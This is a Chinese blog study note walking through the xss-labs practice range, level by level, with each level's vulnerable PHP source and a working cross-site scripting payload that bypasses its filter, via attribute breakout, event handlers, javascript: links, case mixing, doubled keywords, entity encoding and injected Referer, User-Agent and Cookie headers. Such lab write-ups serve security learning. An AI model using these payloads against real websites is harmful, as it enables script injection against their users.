第26、27天：WEB漏洞-XSS跨站之xss-labs练习

已于 2023-07-11 14:38:11 修改
阅读量72 收藏
点赞数
分类专栏： 渗透测试学习笔记 文章标签： 前端 xss
于 2023-06-28 21:25:15 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cailme/article/details/131117601
版权

在这里插入图片描述

xss-labs

参考地址：
https://blog.csdn.net/wo41ge/article/details/107459332
https://blog.csdn.net/weixin_43669045/article/details/107932942
js事件：
https://blog.csdn.net/weixin_62765236/article/details/126694881

level 1

将代码赋值给name即可
在这里插入图片描述
查看源码，从源码可以看出，从服务器获得的name参数的值赋值给str变量，又将str变量直接插入到<h2> </h2>标签之间，服务器并没有对name参数的值进行严格的管理，并且这个值还是用户可控的，所,这一关为反射型xss

<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>

level 2

直接提交payload发现没有成功
在这里插入图片描述
查看网页源码，发现我们输入的代码被转义为&lt;script&gt;alert(1)&lt;/script&gt;，其中 < 和 > 都被编码成了html字符实体

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

检查发现这里的js代码在标签属性值中，有未被实体化的源payload，但是浏览器是无法执行。上面的恶意代码被编码了，那么只能从属性值中的恶意代码处进行突破了。
要想浏览器执行这里的弹窗代码，只需要将属性的引号和标签先闭合就可以了。
将payload改为">//

在这里插入图片描述
成功绕过
在这里插入图片描述
查看源码

使用了htmlspecialchars()函数对变量str进行处理之后显示到网页上。
然后又直接将变量值插入到了标签的value属性值中
因为这里并没有对敏感字符进行编码和过滤，所以可以通过构造实现XSS攻击。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是：
      & （和号）成为 &
      " （双引号）成为 "
      ' （单引号）成为 '
      < （小于）成为 <
      > （大于）成为 >

level 3

使用第二关的方法发现不能绕过
在这里插入图片描述
查看网页源码，发现标签的value属性值中也使用了htmlspecialchars()函数
在这里插入图片描述
但是因为它将我们搜索的内容提交到了<input>标签中，所以我们可以使用标签的一些特殊事件来执行js代码，' onclick='alert(1)

js事件参考：https://blog.csdn.net/cnds123/article/details/127103830

提交代码后网页没有反应
在这里插入图片描述

使用鼠标点击该输入框时输入框被选中可以，输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onclick事件，因此点击当前页面的输入框就可以完成弹框了。
在这里插入图片描述

level 4

先使用<script>alert(1)</script>尝试是否可以弹窗，发现失败
在这里插入图片描述
查看网页源码，发现这关还是使用了htmlspecialchars()函数来实体化<>，但是<input>标签内未使用htmlspecialchars()函数，而是将< 和>符号删了。
在这里插入图片描述
使用特殊事件来执行js代码，' onclick='alert(1)不用使用<和>，所以这关和上一关的解法一致，但是本关vlaue="test"中使用了" "号闭合，所有我们要将payload改为" onclick="alert(1)
在这里插入图片描述
过关
在这里插入图片描述

level 5

使用" onclick="alert(1)测试一下，发现还是有htmlspecialchars()函数，并且<input>便签内对限制了script和on字符替换成scr_pt 和o_n，所以这题不能使用js事件通过
在这里插入图片描述
使用a标签的js伪协议实现href属性支持javascript:伪协议构造poc 产生一个链接
payload: "> <a href=javascript:alert('xss') > 1</a>
提交后会出现一个链接
在这里插入图片描述

点击链接触发代码
在这里插入图片描述
查看代码,可以发现它对<script和on的过滤机制

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level 6

输入"> <a href=javascript:alert('xss') > xss</a>，发现它对href也做替换操作
在这里插入图片描述
我们可以试试大小写混写来尝试能不能绕过
payload："> <a HrEf=javascript:alert('xss') > 1</a>
绕过成功，因为html中对大小写是不敏感的
在这里插入图片描述
在这里插入图片描述

查看代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
$str4用字符src去进行匹配

html在标签中引用图片会用到一个属性src，正常的引用图片就是将待引用图片的地址赋值给src属性。

但是在js中如果src属性的值不正常或者无法访问到时就可以触发一个onerror事件来执行js代码。

<img>标签代码：?name=<img src=111 onerror=alert('xss')>

$str5用字符data进行匹配的

Data在就是对字符进行编码的一种设定，比如如果在实际情况中

javascript、script等关键字被过滤掉了之后，可以用如下语句进行尝试

data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=

这条语句和javascript:alert("xss") 或者 <script>alert("xss")</script> 的作用是一样的。

level 7

分别使用payload：<script>alert(1)</script>、" onclick="alert(1)、
"> <a href=javascript:alert('1')>1</a>测试
发现它对script、on、href有过滤，，直接进行了删除操作在这里插入图片描述在这里插入图片描述
在这里插入图片描述
尝试双写被过滤的关键字，payload：" oonnclick="alert(1)

因为在oonnclick中，只有中间的on被删除，于是oonnclick–>onclick就绕过了过滤

script、href也可以使用这种方法绕过
在这里插入图片描述
成功绕过
在这里插入图片描述
查看代码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>

这一题使用了strtolower函数对参数值转换成了小写，所以这一题大小写替换是绕过不了的

虽然将基本的关键字都删除了，但是它只执行了一次，所以可以双写绕过

level 8

这题和前面的几题有点不一样
提交的参数值一个会插入到<input>标签的value属性值中，一个会插入到下方<a>标签的href属性值中
在这里插入图片描述

使用<script>alert(1)</script>进行尝试

同样在<input>便签内，还是使用htmlspecialchars()函数，并且这关连" "也实体化了

在<a>标签的href属性值中，则将script替换成了scr_ipt，on和href肯定也有过滤
在这里插入图片描述
将我们要提交的js代码进行编码，可以绕过对关键词的过滤
题目会将我们输入插入到下方<a>标签的href属性值中，所以我们可以将javascript:alert('xss') 进行js编码——>

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#32;

上传后，点击友情链接
在这里插入图片描述
查看代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>

$str7处将"替换成&quot

level 9

首先此题对那几个关键词肯定是有过滤的

使用javascript:alert(1)和js编码测试一下，发现都如下图，在<a>标签的href属性中却并没有出现该参数值，而是提示链接不合法。
在这里插入图片描述

这里可能对url地址做了匹配，只有包含正常的url地址才能添加到href属性值中

构造一个有正常url地址的恶意代码：javascript:alert(1)http://www.baidu.com

使用这个payload后发现，我们的payload可以传到<a>标签中了，但是仍然存在过滤
在这里插入图片描述
和level 8一样，对javascript:alert('xss') 进行js编码，注意要编码的代码和 http://www.baidu.com之间需要插入 //，否则不会成功执行弹窗。
如:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://

在这里插入图片描述
查看代码

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

除了敏感词的替代外，还有一个检查我们输入的代码中是否有http://的判断

level 10

level 10与前面的关卡有所不同，它没有设置输入框
在这里插入图片描述
通过url提交<script>alert('1')</script>，在源码中有一个隐藏的表单。

其中含有t_link、 t_history 、t_sort这样三个隐藏的标签
在这里插入图片描述
分别使用下面的payloa进行测试，看看哪一个标签能够被突破

?keyword=<script>alert('xss')</script>&t_link=" type="text"
?keyword=<script>alert('xss')</script>&t_history=" type="text"
?keyword=<script>alert('xss')</script>&t_sort=" type="text"

从页面响应来看，标签就是名为t_sort的标签的状态可以被改变。之前都是隐藏状态，可以从该标签进行突破，尝试能不能注入恶意代码进行弹窗
在这里插入图片描述
使用type属性
构造payload：?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('1')
然后点击输入框，成功
在这里插入图片描述
也可以采用html的accesskey属性( 通过键盘快捷方式触发)
t_sort=2" accesskey="x" οnclick="alert(1)"

不同的浏览器实现的方式不同
火狐 => alt+shift+快捷键
谷歌 => alt+x

查看代码

ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';

$str11 = $_GET["t_sort"]说明是接收t_sort参数值的。
$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);会删除t_sort参数值中的<和>。

这一关就只能是将js代码插入到标签的属性值中来执行而不能通过闭合标签引入新的标签来触发xss了。

level 11

这一题的表单有四个隐藏的<input>标签，同样我们分别使用payload

?keyword=<script>alert('xss')</script>&t_link=" type="text"
?keyword=<script>alert('xss')</script>&t_history=" type="text"
?keyword=<script>alert('xss')</script>&t_sort=" type="text"

我们这一题也是t_sort这个参数接受数据，但是里面的双引号被编码了
这样浏览器只能正常显示字符但是却无法起到闭合的作用了
在这里插入图片描述从前面发现vlaue接收的是产生请求的网页URL，所以可以通过抓包修改数据包请求头referer的信息，来完成上传payload
在这里插入图片描述
抓包，发现没有referer标识，我们手动添加一个
构造payload：Referer: "type="text" onclick="alert('xss')
发送数据包，payload上传成功
在这里插入图片描述
显示输入框后，点击输入框执行我们上传的payload
在这里插入图片描述
查看代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

$str11=$_SERVER['HTTP_REFERER']中接收了数据包referer的数据
其余过滤和前面大致相似

level 12

只一题和上一题可能差不多，只是vlaue结收到数据变成了浏览器信息，也就是请求头中User-Agent标识的数据
在这里插入图片描述
使用level 11的方法
构造payload：User-Agent: "type="text" onclick="alert('xss')
上传成功
在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

$str11=$_SERVER['HTTP_USER_AGENT']中接收了数据包referer的数据
其余过滤和前面大致相似

level 13

这一题也是有四个隐藏的标签，但是vlaue中没有数据
在这里插入图片描述
构造payload：?keyword=good job!&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
上传payload后查看网页源码发现，t_sort接收了参数但是并未显示输入框，而t_cook的value也有了数据
在这里插入图片描述
我们进行抓包分析，发现t_cook接收的是cookie的数据，然后通过方法就和前面两个相似了
在这里插入图片描述
构造payload："type="text" onclick="alert('xss')
加入cookie后发送数据包
在这里插入图片描述
查看代码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

$str11=$_COOKIE["user"];中接收了cookie的数据

level 15

进入15关，发现我们通过src参数传入的数据被插入到了<span>标签的class属性值中，但是前面还有ng-include这样的字符。ng-include是angular js中的东西，其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。

在这里插入图片描述
上传<script>alert('1')</script>测试一下
对"和<>进行了实例化，所以"onclick="alert('xss) 和"> <a href="javascript:alert('1')也是不行的
在这里插入图片描述
ng-include指令的具体的用法

  • ng-include 指令用于包含外部的 HTML文件。
  • 包含的内容将作为指定元素的子节点。
  • ng-include 属性的值可以是一个表达式，返回一个文件名。
  • 默认情况下，包含的文件需要包含在同一个域名下。

特别值得注意的几点如下：

  • ng-include,如果单纯指定地址，必须要加引号
  • ng-include,加载外部html，script标签中的内容不执行，不能加载，如果需要控制器处理需要在主页中注册
  • ng-include,加载外部html中含有style标签样式可以识别
  • ng-inclue,加载外部html中的link标签可以加载

参考地址https://blog.csdn.net/u011127019/article/details/53666528/

既然这里可以包含html文件，那么也就可以包含之前有过xss漏洞的源文件

构造payload：?src='level1.php?name=<img src=1 onerror=alert(1)>'

onerror 当加载图像和文档时发生错误

在这里插入图片描述

level 16

使用<script>alert('1')</script>测试
发现关键词script被实例成空格实体了，然后放入<center>标签中
在这里插入图片描述
在这里插入图片描述
查看代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php

$str2=str_replace("script","&nbsp;",$str);中将script编码成空格字符实体
$str3=str_replace(" ","&nbsp;",$str2);中将空格编码成空格字符实体
$str4=str_replace("/","&nbsp;",$str3);中将/编码成空格字符实体

所以我们只能找一个没有空格、/ 和script的绕过方法
构造payload，这里的payload不能使用空格，所以使用回车代替空格，回车可以用url编码格式%0a来表示

<img
src="111"
onerror=alert('xss')
>

在这里插入图片描述

level 17

第17题有两个参数，而且两个参数的值都传到了<embed>标签的src属性值中在这里插入图片描述在这里插入图片描述
上传<script>alert('1')</script>测试，发现对<>进行了实例化处理
在这里插入图片描述
构造payload：onclick=alert('1')
这里是已经上传成功的，但是浏览器不正常flash插件所以不能触发
在这里插入图片描述
查看代码

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

两个参数都使用了htmlspecialchars(）函数进行实例化

level 18

此关解法和上一关一样
在这里插入图片描述
查看代码

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

和上一题一样

level 19

这一关比前两关多了双引号，但是因为使用htmlspecialchars()函数进行处理，所以无法用双引号成功闭合。
这一关涉及一种xss攻击手段叫做flash xss在这里插入图片描述
这一关涉及一种xss攻击手段叫做flash xss

Flash产生的xss问题主要有两种方式：

加载第三方资源
与javascript通信引发XSS

常见的可触发xss的危险函数有：

getURL
navigate
ToURL
ExternalInterface.call
htmlText loadMovie等

要想知道这一关的是不是属于flash xss，只需要对引用的swf文件进行反编译然后进行源码分析。

反编译的工具是jpexs-decompiler:https://github.com/jindrapetrik/jpexs-decompiler

cailme
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
WEB渗透学习-XSS-labs靶场
04-20
XSS-labs为WEB渗透中跨站脚本攻击专项练习靶场，内含多种攻击方式，采用关卡制，由易到难，适合刚接触该漏洞的新手巩固练习
第27天-WEB 漏洞-XSS 跨站之代码及 httponly 绕过
MCTSOG的博客
03-12 1069
代码类过滤：Xsslabs HttpOnly 属性过滤防读取 绕过 httponly： 浏览器未保存帐号密码：需要 xss 产生登录地址（漏洞产生在登录界面），利用表单劫持 浏览器保存帐号密码：浏览器读取帐号密码 知识补充 参考文章： 利用HTTP-only Cookie缓解XSS之痛 什么是HttpOnly - OSCHINA - 中文开源技术交流社区 XSS与HTTP-only Cookie简介 为了缓解跨站点脚本攻击带来的信息泄露风险，Internet Explorer 6 SP1为Cookie引.
第27天：WEB漏洞~XSS跨站~代码及httponly绕过
廖一语山的博客
09-12 1436
来自小迪的培训视频笔记
第25天-WEB 漏洞-XSS 跨站之原理分类及攻击手法
MCTSOG的博客
03-10 1789
思维导图 XSS-跨站脚本攻击 XSS名称由来 人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS，但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”，显然他是在说跨站脚本攻击。 XSS 跨站漏洞产生原理，危害，特点？ 什么是xss攻击 恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候，那么嵌入到web页面中script代码会执行
Web漏洞-Xss跨站
weixin_70557959的博客
05-05 659
[草稿] XSS跨站 发布时间：2022-04-23 21:43:11 作者：weixin_46544151 阅读数：0 标签：web安全,安全,网络安全 文章描述： 25.xss跨站之原理分类及攻击方法 一、本地环境XSS，漏洞原理讲解 在phpstudy中根目录创建1.php <?php $xss=$_GET['x']; echo $xss; ?> 浏览器打开，在网址后输入?x=1,网页输出1 输入？x=<script>alert(1)</script&...
xss-labs-master.rar
05-09
xss-labs-master靶机资源，有关于xss漏洞攻击专项练习，一共有二十关，也是小白的看门砖吧！
xss-labs-master.zip（xss注入通关游戏/靶场）
03-21
经典的xss注入通关游戏，搭建简单。适合网络安全测试人员
xss-labs.zip
06-25
xss-labs，该环境是用于练习xss跨站脚本攻击的一个集成环境，属于闯关类型。将该环境里的xss类型全部通过，有助于理解xss的攻击原理。
vue源码之mustache模板引擎1
qweasl_的博客
05-21 278
模板引擎的一个有点：它是将数据转为视图的最优雅的方法。相信vue的玩家首先想到的是。而还没学vue的朋友，就只能进行dom操作了。通过数组的join方法。以及es6推出的模板字符串。
【Web】CISCN 2024初赛 题解(全)
uuzeray的博客
05-21 1124
这里注意细节，靶机发了两次请求，第一次我们就返回一个正常的图片，第二次请求就发一个302，php代码块要用html标签包裹。注意下面这段报错，因为加不了引号，开头是数字的话，就会将类型识别为数字，若后续出现了字符串就会报错。再打sqlite，指定tableName，加载写入的恶意so文件，反弹shell。最后注意要将获取的变量元组转字符串，再用逗号分隔，依次输出，从而绕过seed。考的python栈帧沙箱逃逸，获取到外部的栈帧，就可以用。因为ban了引号，考虑hex2bin，将数字转为字符串。
Nodejs util file getpost web express child_process mogodb
ooo
05-18 951
Nodejs util file getpost web express child_process mogodb
搭建自己的视频通话服务器Janus(WebRTC)
lvronglee的专栏
05-21 684
因为默认的代码，https是会请求8089的https请求的。apt install janus的源码安装了之后，要么自己写demo，要么直接用源码里面的前端页面。注意这里的pem文件，以及代理。janus 是后端，需要nginx或者其他等提供前端页面的服务器，此外因为这里并没有正式的证书，只能用自签名的证书用于https。穿透用来着，如果是局域网部署的，没有影响，如果部署到阿里云这样的，需要这个来做NAT穿透。随便注册个名字，然后用手机打开手机网络，这里看能不能穿透，不用和测试机一样的网络环境。
【绿雪问茶】用前端三件套完成一个大项目（一）
大象不下象棋的博客
05-21 312
Green Snow Asks Tea
Web Speech API（2）—— SpeechSynthesis
LiangRZ
05-21 551
Web Speech API 有两个部分：SpeechSynthesis 语音合成（文本到语音 TTS）和 SpeechRecognition 语音识别（异步语音识别）。语音合成 (也被称作是文本转为语音，英语简写是 tts) 包括接收 app 中需要语音合成的文本，再在设备麦克风播放出来这两个过程。其中包含了将由语音服务朗读的内容，以及如何朗读它（例如：语种、音高、音量）。语音合成服务的控制器接口，可用于获取设备上可用的合成语音，开始、暂停以及其他相关命令的信息。控制器，从而获取语音合成功能的入口。
解决 SpringBoot 的 Date、LocalDateTime 变成时间戳和数组的问题，创建自定义对象消息转换器
shijialeya
05-18 443
解决 SpringBoot 的 Date、LocalDateTime 变成时间戳和数组的问题，创建自定义对象消息转换器进行数据格式化。
前端-移动端布局
Kongfutu的博客
05-21 194
可以在浏览器里打开检查 点击一下移动端按钮 然后选择一下对应的手机型号可以切换到对应的手机端。进阶学习建议 Vue.js 和 微信小程序。如何在PC端模拟移动端设备。
前端开发攻略---用Vue实现无限滚动的几种方法
最新发布
nibabaoo的博客
05-22 1031
用vue实现无限滚动
性能监控系统搭建——node_koa实现性能监控数据上报（第一章）
编程知识分享，主打前端
05-19 827
大家好，我是yma16，本文分享node_koa实现性能监控数据上报（第一章）。为了实现前端性能耗时的数据监控，前端对外发布js的sdk，sdk的功能主要是性能耗时计算和数据上报。同时使用vue3和node开发一个数据监控的后台管理系统，主要功能是展示数据，提供一个api_key和token对外暴露的api接口去添加数据监控数据。对外暴露性能上报接口，用户通过api_key请求上报数据到后台。
xss-labs通关
09-11
首先，XSS（跨站脚本攻击）是一种常见的网络安全漏洞，攻击者通过插入恶意脚本来利用网站上的用户。要通关 xss-labs，您需要了解并掌握以下内容： 1. XSS 攻击原理和类型：了解什么是 XSS 攻击以及其不同的类型，...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值